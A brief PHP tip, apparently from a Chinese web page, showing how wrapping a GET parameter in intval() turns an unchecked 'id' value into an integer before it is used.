$aid = isset($_GET['id']) ? $_GET['id'] : 1; 

加个intval()将变量转换为整数类型

$aid = isset($_GET['id']) ? intval($_GET['id']) : 1;

« 返回首页